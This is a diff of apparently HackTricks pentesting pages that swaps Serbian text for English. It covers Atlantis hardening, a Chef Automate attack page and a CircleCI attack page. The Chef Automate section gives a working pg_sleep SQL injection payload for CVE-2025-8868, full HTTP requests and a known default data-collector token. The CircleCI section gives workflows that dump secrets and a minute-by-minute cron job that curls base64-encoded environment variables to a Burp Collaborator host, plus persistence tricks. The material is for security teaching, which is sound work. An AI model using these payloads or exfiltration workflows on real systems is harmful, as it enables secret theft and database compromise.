If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Atlantis zahteva da navedete allowlist repozitorijuma sa kojih će prihvatati webhooks putem `--repo-allowlist` zastavice. Na primer:
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
- Specifični repozitorijumi: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Cela vaša organizacija: `--repo-allowlist=github.com/runatlantis/*`
- Svaki repozitorijum u vašem GitHub Enterprise instalaciji: `--repo-allowlist=github.yourcompany.com/*`
- Svi repozitorijumi: `--repo-allowlist=*`. Korisno kada ste u zaštićenoj mreži, ali opasno bez takođe postavljenog webhook secret-a.
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
Ova zastavica osigurava da vaša Atlantis instalacija nije korišćena sa repozitorijumima koje ne kontrolišete. Vidi `atlantis server --help` za više detalja.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
Ako su napadači koji šalju pull zahteve sa zloćudnim Terraform kodom u vašem modelu pretnje, onda morate biti svesni da odobrenja za `terraform apply` nisu dovoljna. Moguće je pokrenuti zloćudni kod u `terraform plan` koristeći [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ili specificirajući zloćudnog provajdera. Ovaj kod bi mogao da eksfiltrira vaše akreditive.
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
Da biste to sprečili, mogli biste:
To prevent this, you could:
1. Ugraditi provajdere u Atlantis sliku ili hostovati i odbiti izlaz u produkciji.
2. Implementirati protokol za registraciju provajdera interno i odbiti javni izlaz, tako da kontrolišete ko ima pristup za pisanje u registru.
3. Izmeniti vašu [server-side repo konfiguraciju](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` korak da validira protiv korišćenja zabranjenih provajdera ili data source-ova ili PR-ova od neodobrenih korisnika. Takođe možete dodati dodatnu validaciju u ovom trenutku, npr. zahtevajući "thumbs-up" na PR pre nego što dozvolite da `plan` nastavi. Conftest bi mogao biti od pomoći ovde.
1. Bake providers into the Atlantis image or host and deny egress in production.
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis bi trebao da se pokreće sa Webhook secret-ima postavljenim putem `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` varijabli okruženja. Čak i sa postavljenom `--repo-allowlist` zastavicom, bez webhook secret-a, napadači bi mogli slati zahteve ka Atlantis-u predstavljajući se kao repozitorijum koji je na allowlisti. Webhook secrets osiguravaju da webhook zahtevi zaista dolaze od vašeg VCS provajdera (GitHub ili GitLab).
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
Ako koristite Azure DevOps, umesto webhook secret-a dodajte osnovno korisničko ime i lozinku.
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps podržava slanje osnovnog autentifikacionog header-a u svim webhook događajima. Ovo zahteva korišćenje HTTPS URL-a za vašu lokaciju webhook-a.
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
Ako koristite webhook secrets, ali je vaš saobraćaj preko HTTP-a, onda bi webhook secrets mogli biti ukradeni. Omogućite SSL/HTTPS koristeći `--ssl-cert-file` i `--ssl-key-file` zastavice.
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
Veoma se preporučuje omogućiti autentifikaciju u web servisu. Omogućite BasicAuth koristeći `--web-basic-auth=true` i postavite korisničko ime i lozinku koristeći `--web-username=yourUsername` i `--web-password=yourPassword` zastavice.
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
Takođe možete proslediti ovo kao varijable okruženja `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` i `ATLANTIS_WEB_PASSWORD=yourPassword`.
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -370,3 +386,6 @@ Takođe možete proslediti ovo kao varijable okruženja `ATLANTIS_WEB_BASIC_AUTH
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,13 +1,13 @@
# Chef Automate Sigurnost
# Chef Automate Security
{{#include ../../banners/hacktricks-training.md}}
## Šta je Chef Automate
## What is Chef Automate
Chef Automate je platforma za automatizaciju infrastrukture, usklađenost i isporuku aplikacija. Izlaže web UI (često Angular) koji komunicira sa backend gRPC servisima preko gRPC-Gateway, pružajući REST-slične krajnje tačke pod putanjama kao što je /api/v0/.
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
- Uobičajene backend komponente: gRPC services, PostgreSQL (često vidljivo preko pq: error prefiksa), data-collector ingest service
- Mehanizmi autentifikacije: user/API tokens i data collector token header x-data-collector-token
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
## Enumeration & Attacks
@@ -15,4 +15,4 @@ Chef Automate je platforma za automatizaciju infrastrukture, usklađenost i ispo
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,76 +2,81 @@
{{#include ../../banners/hacktricks-training.md}}
## Pregled
## Overview
Ova stranica sakuplja praktične tehnike za enumeraciju i napade na Chef Automate instance, sa naglaskom na:
- Otkrivanje gRPC-Gateway-backed REST endpointa i zaključivanje shema zahteva putem odgovora o validaciji/greškama
- Zloupotreba headera x-data-collector-token za autentifikaciju kada su prisutne podrazumevane vrednosti
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) koji utiče na filters[].type polje u /api/v0/compliance/profiles/search
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
- Abusing the x-data-collector-token authentication header when defaults are present
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
> Napomena: Backend odgovori koji uključuju header grpc-metadata-content-type: application/grpc obično ukazuju na to da gRPC-Gateway povezuje REST pozive sa gRPC servisima.
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
## Recon: Architecture and Fingerprints
- Front-end: Često Angular. Statički bundle-i mogu nagovestiti REST putanje (npr. /api/v0/...)
- API transport: REST ka gRPC preko gRPC-Gateway
- Odgovori mogu uključivati grpc-metadata-content-type: application/grpc
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Tela grešaka koja počinju sa pq: snažno ukazuju na PostgreSQL sa Go pq driverom
- Zanimljivi Compliance endpointi (zahteva autentifikaciju):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
Chef Automate izlaže data collector koji autentifikuje zahteve putem posebnog headera:
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
- Header: x-data-collector-token
- Rizik: Neka okruženja mogu zadržati podrazumevani token koji daje pristup zaštićenim API rutama. Poznat podrazumevani token viđen u prirodi:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
Ako postoji, ovaj token se može iskoristiti za pozivanje Compliance API endpointa koji su inače zaštićeni autentifikacijom. Uvek pokušajte rotirati/onemogućiti podrazumevane vrednosti tokom hardeninga.
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
## API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpointi često leak-uju korisne greške validacije koje opisuju očekivani model zahteva.
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
Za /api/v0/compliance/profiles/search, backend očekuje body sa nizom filters, gde je svaki element objekat sa:
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
- type: string (identifikator polja filtera)
- type: string (filter field identifier)
- values: array of strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
Neispravan JSON ili pogrešni tipovi polja obično izazivaju 4xx/5xx odgovore sa nagoveštajima, a zaglavlja ukazuju na ponašanje gRPC-Gateway. Iskoristite to da mapirate polja i lokalizujete površine za injekciju.
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
## Compliance API SQL Injection (CVE-2025-8868)
- Pogođeni endpoint: POST /api/v0/compliance/profiles/search
- Tačka injekcije: filters[].type
- Tip ranjivosti: time-based blind SQL injection in PostgreSQL
- Uzrok: Nedostatak pravilne parametrizacije/whitelistinga pri interpolaciji polja type u dinamički SQL fragment (verovatno korišćen za konstrukciju identifikatora/WHERE klauza). Namerno konstruisane vrednosti u type se evaluiraju od strane PostgreSQL.
- Affected endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
Working time-based payload:
Funkcionalan time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Napomene tehnike:
- Zatvorite originalni string jednostrukim apostrofom (')
- Konkatenirajte podupit koji poziva pg_sleep(N)
- Ponovo uđite u kontekst stringa preko || tako da konačni SQL ostane sintaksički ispravan bez obzira gde je type ugrađen
### Dokaz pomoću diferencijalne latencije
Technique notes:
- Close the original string with a single quote
- Concatenate a subquery that calls pg_sleep(N)
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
Pošaljite uparene zahteve i uporedite vreme odgovora da biste potvrdili izvršavanje na strani servera:
### Proof via differential latency
Send paired requests and compare response times to validate server-side execution:
- N = 1 second
- N = 1 sekunda
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 sekundi
- N = 5 seconds
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -89,47 +96,48 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Vremena odziva se povećavaju proporcionalno pg_sleep(N)
- HTTP 500 odgovori mogu uključivati pq: detalje tokom ispitivanja, potvrđujući putanje izvršavanja SQL-a
> Savet: Koristite alat za merenje vremena (npr. više pokušaja sa statističkim poređenjem) da smanjite šum i lažno pozitivne rezultate.
Observed behavior:
- Response times scale with pg_sleep(N)
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
### Impact
Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaju podrazumevani x-data-collector-token — mogu izvršavati proizvoljan SQL unutar PostgreSQL konteksta Chef Automatea, ugrožavajući poverljivost i integritet profila usklađenosti, konfiguracije i telemetrije.
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automates PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
### Affected versions / Fix
- CVE: CVE-2025-8868
- Preporuka za nadogradnju: Chef Automate 4.13.295 ili noviji (Linux x86) prema obaveštenjima dobavljača
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
## Detection and Forensics
- API layer:
- Pratite 500 odgovore na /api/v0/compliance/profiles/search gde filters[].type sadrži navodnike ('), operator konkatenacije (||), ili reference na funkcije kao pg_sleep
- Pregledajte zaglavlja odgovora za grpc-metadata-content-type kako biste identifikovali gRPC-Gateway tokove
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- Database layer (PostgreSQL):
- Auditujte pozive pg_sleep i greške neispravnih identifikatora (često prikazane sa prefiksima pq: koji dolaze iz Go pq drajvera)
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- Authentication:
- Zapisujte i postavljajte upozorenja za upotrebu x-data-collector-token, naročito poznatih podrazumevanih vrednosti, preko API ruta
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
## Mitigations and Hardening
- Immediate:
- Zamenite/onemogućite podrazumevane data collector tokene
- Ograničite pristup do data collector endpointa; zahtevajte jake, jedinstvene tokene
- Rotate/disable default data collector tokens
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
- Code-level:
- Parametrišite upite; nikada ne konkatenirajte SQL fragmente kao stringove
- Strogo izričito dozvolite samo prihvatljive vrednosti polja type na serveru (enum)
- Izbegavajte dinamičko sklapanje SQLa za identifikatore/klauzule; ako je dinamičko ponašanje neophodno, koristite bezbedno citiranje identifikatora i eksplicitne bele liste
- Parameterize queries; never string-concatenate SQL fragments
- Strictly whitelist allowed type values on the server (enum)
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
## Practical Testing Checklist
- Proverite da li se x-data-collector-token prihvata i da li poznati podrazumevani radi
- Mapirajte šemu zahteva Compliance APIja izazivanjem grešaka validacije i čitanjem poruka o grešci/zaglavlja
- Testirajte za SQLi u manje očiglednim „identifier-like“ poljima (npr. filters[].type), ne samo u nizovima vrednosti ili toplevel tekstualnim poljima
- Koristite tehnike zasnovane na vremenu uz konkatenaciju da biste održali SQL sintaksno važećim u različitim kontekstima
- Check if x-data-collector-token is accepted and whether the known default works
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
## References
@@ -139,4 +147,4 @@ Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaj
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,232 +4,255 @@
### Basic Information
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) je platforma za kontinuiranu integraciju gde možete **definisati šablone** koji ukazuju šta želite da uradi sa nekim kodom i kada to da uradi. Na ovaj način možete **automatizovati testiranje** ili **implementacije** direktno **iz glavne grane vašeg repozitorijuma** na primer.
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
### Permissions
**CircleCI** **nasleđuje dozvole** sa github-a i bitbucket-a vezane za **nalog** koji se prijavljuje.\
U svom testiranju sam proverio da, sve dok imate **dozvole za pisanje nad repozitorijumom na github-u**, moći ćete da **upravljate postavkama projekta u CircleCI** (postavite nove ssh ključeve, dobijete api ključeve projekta, kreirate nove grane sa novim CircleCI konfiguracijama...).
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
Međutim, potrebno je da budete **admin repozitorijuma** kako biste **pretvorili repozitorijum u CircleCI projekat**.
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
### Env Variables & Secrets
Prema [**dokumentaciji**](https://circleci.com/docs/2.0/env-vars/) postoje različiti načini da se **učitaju vrednosti u promenljive okruženja** unutar radnog toka.
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
#### Built-in env variables
Svaki kontejner koji pokreće CircleCI uvek će imati [**specifične env varijable definisane u dokumentaciji**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) kao što su `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ili `CIRCLE_USERNAME`.
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
#### Clear text
Možete ih deklarisati u čistom tekstu unutar **komande**:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
Možete ih deklarisati u čistom tekstu unutar **run environment**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
Možete ih deklarisati u čistom tekstu unutar **build-job okruženja**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
Možete ih deklarisati u čistom tekstu unutar **okruženja kontejnera**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Tajne informacije projekta
You can declare them in clear text inside a **command**:
Ovo su **tajne** koje će biti **pristupačne** samo **projektu** (bilo kojoj **grani**).\
Možete ih videti **deklarisane u** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
You can declare them in clear text inside the **run environment**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
You can declare them in clear text inside the **build-job environment**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
You can declare them in clear text inside the **environment of a container**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Project Secrets
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
![](<../images/image (129).png>)
> [!CAUTION]
> Funkcionalnost "**Import Variables**" omogućava **uvoz varijabli iz drugih projekata** u ovaj.
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
#### Tajne informacije konteksta
#### Context Secrets
Ovo su tajne koje su **šire organizacije**. Po **defaultu, svaka repo** će moći da **pristupi bilo kojoj tajni** koja je ovde pohranjena:
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
![](<../images/image (123).png>)
> [!TIP]
> Ipak, imajte na umu da se može **izabrati drugačija grupa** (umesto svih članova) kako bi se **pristup tajnama dao samo određenim osobama**.\
> Ovo je trenutno jedan od najboljih načina da se **poveća sigurnost tajni**, da se ne dozvoli svima da im pristupe, već samo nekim ljudima.
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
### Napadi
### Attacks
#### Pretraga tajni u čistom tekstu
#### Search Clear Text Secrets
Ako imate **pristup VCS-u** (kao što je github), proverite datoteku `.circleci/config.yml` svake **repo na svakoj grani** i **pretražite** potencijalne **tajne u čistom tekstu** pohranjene tamo.
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
#### Tajne varijable okruženja i enumeracija konteksta
#### Secret Env Vars & Context enumeration
Proverom koda možete pronaći **sva imena tajni** koja se koriste u svakoj `.circleci/config.yml` datoteci. Takođe možete dobiti **imena konteksta** iz tih datoteka ili ih proveriti u web konzoli: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### Ekstrakcija tajni projekta
#### Exfiltrate Project secrets
> [!WARNING]
> Da biste **ekstrahovali SVE** tajne projekta i konteksta, **samo** treba da imate **WRITE** pristup **samo 1 repo** u celoj github organizaciji (_i vaš nalog mora imati pristup kontekstima, ali po defaultu svako može pristupiti svakom kontekstu_).
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
> [!CAUTION]
> Funkcionalnost "**Import Variables**" omogućava **uvoz varijabli iz drugih projekata** u ovaj. Stoga, napadač bi mogao **uvoziti sve projektne varijable iz svih repo** i zatim **ekstrahovati sve njih zajedno**.
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
Sve tajne projekta su uvek postavljene u env poslova, tako da samo pozivanje env i obfuscating ga u base64 će ekstrahovati tajne u **web log konzoli radnih tokova**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
exfil-env-workflow:
jobs:
- exfil-env
```
Ako **nemate pristup web konzoli** ali imate **pristup repozitorijumu** i znate da se koristi CircleCI, možete jednostavno **napraviti radni tok** koji se **pokreće svake minute** i koji **izvlači tajne na eksternu adresu**:
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Ekstraktovanje Tajni Konteksta
Morate da **navedete ime konteksta** (ovo će takođe ekstraktovati tajne projekta):
#### Exfiltrate Context Secrets
You need to **specify the context name** (this will also exfiltrate the project secrets):
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
Ako **nemate pristup web konzoli** ali imate **pristup repozitorijumu** i znate da se koristi CircleCI, možete jednostavno **modifikovati radni tok** koji se **pokreće svake minute** i koji **izvlači tajne na eksternu adresu**:
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Samo kreiranje novog `.circleci/config.yml` u repozitorijumu **nije dovoljno da pokrene circleci build**. Morate **omogućiti to kao projekat u circleci konzoli**.
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
#### Bekstvo u Cloud
#### Escape to Cloud
**CircleCI** vam daje opciju da pokrenete **svoje buildove na njihovim mašinama ili na svojim**.\
Po defaultu, njihove mašine se nalaze u GCP, i isprva nećete moći da pronađete ništa relevantno. Međutim, ako žrtva pokreće zadatke na **svojim mašinama (potencijalno, u cloud okruženju)**, mogli biste pronaći **cloud metadata endpoint sa zanimljivim informacijama**.
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
Primetite da je u prethodnim primerima sve pokrenuto unutar docker kontejnera, ali takođe možete **tražiti da pokrenete VM mašinu** (koja može imati različite cloud dozvole):
```yaml
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Ili čak docker kontejner sa pristupom udaljenoj docker usluzi:
Or even a docker container with access to a remote docker service:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistencija
- Moguće je **napraviti** **korisničke tokene u CircleCI** za pristup API krajnjim tačkama sa korisničkim pristupom.
- _https://app.circleci.com/settings/user/tokens_
- Moguće je **napraviti tokene projekata** za pristup projektu sa dozvolama datim tokenu.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Moguće je **dodati SSH ključeve** u projekte.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Moguće je **napraviti cron zadatak u skrivenoj grani** u neočekivanom projektu koji **curi** sve **context env** varijable svakog dana.
- Ili čak napraviti u grani / izmeniti poznati zadatak koji će **curiti** sve kontekste i **tajne projekata** svakog dana.
- Ako ste vlasnik github-a, možete **dozvoliti neproverene orbe** i konfigurisati jedan u zadatku kao **zadnja vrata**
- Možete pronaći **ranjivost injekcije komandi** u nekom zadatku i **injektovati komande** putem **tajne** menjajući njenu vrednost
#### Persistence
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- _https://app.circleci.com/settings/user/tokens_
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- It's possible to **add SSH keys** to the projects.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
